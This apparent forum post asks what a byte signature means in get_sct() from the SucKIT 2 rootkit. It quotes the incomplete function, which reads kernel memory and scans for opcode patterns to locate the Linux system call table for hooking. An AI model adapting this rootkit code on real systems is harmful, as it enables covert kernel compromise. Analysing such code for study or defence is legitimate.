    SubjectWhat means "\xc7\x44\x24\x18\xda\xff\xff\xff\xe8"
    this code from get_sct() of suckit 2, why memmem()
    "\xc7\x44\x24\x18\xda\xff\xff\xff\xe8"use, what it want to find?
    The get_sct() founction:

    ulong get_sct()
    {
    uchar code[SCLEN+256];
    uchar *p, *pt;
    ulong r;
    uchar pt_off, pt_bit;
    int i;

    kernel_old80 = get_ep();

    if (!kernel_old80)
    return 0;
    if (rkm(code, sizeof(code), kernel_old80-4) <= 0)
    return 0;

    if (!memcmp(code, "PUNK", 4))
    return 0;

    p = (char *) memmem(code, SCLEN, "\xff\x14\x85", 3);
    if (!p) return 0;

    pt = (char *) memmem(p+7, SCLEN-(p-code)-7,
    "\xc7\x44\x24\x18\xda\xff\xff\xff\xe8", 9);
    /* when run at here , it always return 0 */
    if (!pt) {
    eprintf("pt = %s\n", pt);
    return 0;
    }

    sc.trace = *((ulong *) (pt + 9));
    sc.trace += kernel_old80 + (pt - code) - 4 + 9 + 4;

    pt = (char *) memmem(p+7, SCLEN-(p-code)-7, "\xff\x14\x85", 3);
    if (!pt) return 0;

    for (i = 0; i < (p-code); i++) {
    if ((code[i] == 0xf6) && (code[i+1] == 0x43) &&
    (code[i+4] == 0x75) && (code[i+2] < 127)) {
    pt_off = code[i+2];
    pt_bit = code[i+3];
    goto cc;
    }
    }

    return 0;
    }
